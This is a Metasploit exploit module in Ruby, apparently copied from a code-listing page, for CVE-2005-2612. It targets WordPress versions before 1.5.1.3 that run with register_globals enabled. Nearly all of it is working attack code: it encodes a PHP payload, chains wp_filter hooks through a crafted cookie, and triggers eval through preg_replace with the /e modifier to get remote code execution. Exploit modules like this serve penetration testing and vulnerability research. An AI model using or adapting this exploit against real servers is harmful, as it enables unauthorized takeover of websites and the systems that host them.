|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86  |  ## # $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',  'Description'=> %q{  This module exploits an arbitrary PHP code execution flaw in the WordPress  blogging software. This vulnerability is only present when the PHP 'register_globals'  option is enabled (common for hosting providers). All versions of WordPress prior to  1.5.1.3 are affected.  },  'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9671 $',  'References' =>  [  ['CVE', '2005-2612'],  ['OSVDB', '18672'],  ['BID', '14533'],  ],  'Privileged' => false,  'Payload'=>  {  'DisableNops' => true,  'Compat'=>  {  'ConnectionType' => 'find',  },  'Space' => 512,  },  'Platform' => 'php',  'Arch' => ARCH_PHP,  'Targets'=> [[ 'Automatic', { }]],  'DisclosureDate' => 'Aug 9 2005',  'DefaultTarget' => 0))  register_options(  [  OptString.new('URI', [true, "The full URI path to WordPress", "/"]),  ], self.class)  end  def exploit  enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"  str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')  data =  "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+  "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+  "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+  ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+  "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+  "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"  # Trigger the command execution bug  res = send_request_cgi({  'uri'=> datastore['URI'],  'cookie' => data  }, 25)  if (res)  print_status("The server returned: #{res.code} #{res.message}")  else  print_status("No response from the server")  end  end end  |